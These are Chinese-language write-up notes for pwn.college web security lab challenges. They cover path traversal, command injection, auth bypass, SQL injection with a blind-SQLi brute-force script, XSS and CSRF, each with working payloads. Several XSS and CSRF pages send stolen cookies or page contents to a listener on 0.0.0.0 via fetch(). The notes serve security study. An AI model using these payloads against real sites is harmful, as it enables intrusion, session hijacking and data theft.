# PwnCollege Web Security
### Path Traversal 1
```python=
app = flask.Flask(__name__)
@app.route("/items", methods=["GET"])
@app.route("/items/<path:path>", methods=["GET"])
def challenge(path="index.html"):
requested_path = app.root_path + "/files/" + path
print(f"DEBUG: {requested_path=}")
try:
return open(requested_path).read()
except PermissionError:
flask.abort(403, requested_path)
except FileNotFoundError:
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
flask.abort(500, requested_path + ":" + str(e))
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
```
開啟一個server,使用`/items`這個路由可以訪問路徑
使用`http://challenge.localhost/items/../../flag`來訪問flag
但是會失敗,因為請求路徑會被標準化,會變成`/flag`
需要使用URL編碼`http://challenge.localhost/items/..%2F..%2Fflag`
也可以使用curl來獲取內容`curl 'http://challenge.localhost:80/items/..%2F..%2Fflag'`
### Path Traversal 2

多加了`strip("/.")`會將開頭與結尾的`/.`去除
發現`files`目錄下有一個`fortunes`資料夾,可以從這個資料夾往回找

`http://challenge.localhost/dump/fortunes/..%2F..%2F..%2Fflag`
### CMDi 1
https://wzt.ac.cn/2022/03/21/command-inject/

會從表單取得資料,並拼接到command,可以使用`;`來做命令分割接著就可以使用`cat`查看檔案
`/; cat /flag`

### CMDi 2
這次過濾了`;`

改成使用`|`來做連接`/ | cat /flag`
### CMDi 3
這次命令的建構多使用了`''`把參數包起來

使用`/' ; cat '/flag`來繞過`'`
### CMDi 5
這次網站不會把指令結果顯示出來,可以用重定向把輸出導向自己建的臨時檔案
`; cat /flag > /tmp/flag`
### CMDi 6
多數的符號都被過濾,使用換行符的URL編碼`%0A`來繞過
`%0Acat /flag`

發現這樣無效,看到url的0A前面多了25,把25移掉再試一次
`%25`是`%`的URL編碼,因為使用表單送出時就會做一次URL編碼,所以就變成`%250A`
這稱之為**雙重編碼**
### Auth Bypass 1

取得request的參數session_user來判斷是誰登陸
從原碼可以得知有guest這個帳號,登陸後觀察URL為`?session_user=guest`
可以改成`?session_user=admin`來繞過驗證
### Auth Bypass 2

這次是檢查cookie,直接修改cookie的value為admin
### SQLi 1

查詢語句如上,使用`username`為`admin`、`password`為`123 or 1=1--`
組合出來的語句為
`query="SELECT rowid, * FROM users WHERE username = 'admin' AND pin = 123 or 1=1"`
AND的優先級比OR高,但不管怎樣都會是登錄成功
### SQLi 2
password使用`''`包起來,因此要先使用`'`閉合

username為`admin`、password為`123' or 1=1--`
`query="SELECT rowid, * FROM users WHERE username = 'admin' AND password = '123' or 1=1--'"`
### SQLi 3
使用union來連接不同sql語句的返回結果
`" union select password from users where username='admin'--`
先用`"`來閉合,接著就能用`union`來接其他查詢語句
`SELECT username FROM users WHERE username LIKE "" union select password from users where username='admin'--"`
### SQLi 4
因為是隨機的table名稱所以要先找到有哪些table
這題是使用`sqlite`所以使用`" union select tbl_name from sqlite_master--`或是
`" union select name from sqlite_master WHERE type='table'--`
如果是mySQL可以使用`union select table_name from information_schema.tables`
最後的payload`" union select password from users_7605420928 where username='admin'--`
### SQLi 5
這題不會有任何顯示,因此要使用盲注
`' or 1=1 --`這樣會返回成功頁面,因此可嘗試布林盲注
`' or substr((SELECT password FROM users WHERE username='admin'), 1, 1) == 'a'--`
用這種方式可以將密碼一個個給leak出來
```python=
import requests
import string
charset = string.printable
url = 'http://challenge.localhost:80'
flag = ""
for i in range(1, 100):
find = False
for char in charset:
payload = f"' OR substr((SELECT password FROM users WHERE username='admin'), {i}, 1) == '{char}'--"
data = {"username": 'admin', "password": payload}
response = requests.post(url, data=data, timeout = 20)
if response.status_code == 200:
flag += char
print(f"[+] Found character {i}: {char}")
find = True
break
if(not find):
print("Can not find... Or END !!!!")
break
print(f"Flag is : {flag}")
```
### XSS 1

這邊會用輸入的內容作串接,因此可以構建XSS`<input></input>`
這邊的內容是從數據庫檢索出來再顯示給使用者,因此稱為儲存型XSS
### XSS 2
使用`<script>alert(1)</script>`來插入彈出框
### XSS 3
反射型XSS是發生在URL參數被渲染到生成的HTML頁面,需要受害者去訪問這個URL
這個頁面會顯示`msg`的內容,因此把javascript注入到msg參數中,讓其渲染到網頁中
`http://challenge.localhost/?msg=<script>alert("PWNED")</script>`
### XSS 4

這題會從URL取得參數並渲染到`<textarea>`中,因此不會觸發javascript,需要先把textarea閉合
`http://challenge.localhost/?msg=</textarea><script>alert("PWNED")</script>`
### XSS 5

這裡有個連結點下去會發起GET請求`/publish`
因此我們的目標是要讓admin發起GET請求,讓其把未發布的內容發布
可以使用`fetch()`
注入payload`<script>fetch("http://challenge.localhost/publish");</script>`
這樣admin一登入就會發起`/publish`請求並把他的草稿顯示出來
### XSS 6
這次是要發起POST請求
`<script>fetch("http://challenge.localhost/publish", { method : "POST"});</script>`
### XSS 7
這次不管是寫草稿或是發布都需要身分認證,但他的帳號和密碼是存在cookie裡

可以使用`fetch()`讓受害者把cookie送到我的伺服器上
可以用`nc`來監聽port口,當作自己的伺服器
`nc -lvnp 6969`
> -l 監聽模式、-v 詳細解釋、-n 不解析DNS、-p 設定port口

接著就可以構造XSS注入讓受害者發起請求
`<script>fetch("http://0.0.0.0:6969", { method: "POST", body: document.cookie});</script>`
### CSRF 1
這題無法注入XSS(因為受害者不會看這個網站),但受害者在登入後會去訪問`http://0.0.0.0:1337`
且因為同源政策,我們無法讓cookie跨網站傳遞
因此我們可以建構一個網站`http://0.0.0.0:1337`,當受害者訪問這個網站時就會向`challenge.localhost`發送`/publish`的GET請求
`python -m http.server 1337`使用python來啟動一個server
在同個目錄下建立一個`index.html`
```html=
<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="http://challenge.localhost/publish" method="GET">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
```
> 這樣當使用者訪問這個網站時就會利用其自己的cookie發起GET請求
### CSRF 2
改成POST請求
### CSRF 3
要用CSRF與XSS來彈出提示框

> 這是能觸發XSS的地方,他會從URL取得msg參數,並顯示在畫面上,這能XSS注入
```html=
<!DOCTYPE html>
<html>
<body>
<script>
let payload = "<scr" + "ipt>alert(\"PWNED\");</scr" + "ipt>"
let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)
/*fetch(url, {credentials: "include"})*/
window.location.href = url;
</script>
</body>
</html>
```
構建一個訪問`http://challenge.localhost/ephemeral`的連結,而`msg`就是希望觸發的js程式碼,要注意這邊因為有多個`<script>`標籤,所以要使用`"</scr" + "ipt>"`
否則瀏覽器會把payload的`</script>`和網頁真正的`<script>`做閉合
最後使用`window.location.href = url;`來做網頁跳轉,讓受害者看到彈出框
`encodeURIComponent`可用來將字串進行 URL 編碼,讓它可以安全地放進 URL 中的參數裡
### CSRF 4
這題要取得cookie,使用另一個nc監聽的伺服器來接收cookie,取得cookie就能登入了
```html=
<!DOCTYPE html>
<html>
<body>
<script>
let payload = "<scr" + "ipt>fetch(\"http://0.0.0.0:6969\", { method: \"POST\", body: document.cookie});</scr" + "ipt>"
let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)
/*fetch(url, {credentials: "include"})*/
window.location.href = url;
</script>
</body>
</html>
```
### CSRF 5
這題設置了`HttpOnly`,表示無法藉由`document.cookie`來偷取cookie了
但我們已經將程式碼注入進去網頁的話,就沒有同源問題,我們想幹嘛就幹嘛
可以使用`fetch()`來訪問各路徑,並直接存取該頁面的資訊
```html=
<!DOCTYPE html>
<html>
<body>
<script>
let payload = "<scr" + "ipt>fetch('/').then(r=>r.text()).then(t=>{fetch('http://0.0.0.0:1337/?leak=' + encodeURIComponent(t))})" + ";</scr" + "ipt>"
let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)
/*fetch(url, {credentials: "include"})*/
window.location.href = url;
</script>
</body>
</html>
```
> 把跟目錄的頁面整個抓下來,丟到cyber chef做URL解碼
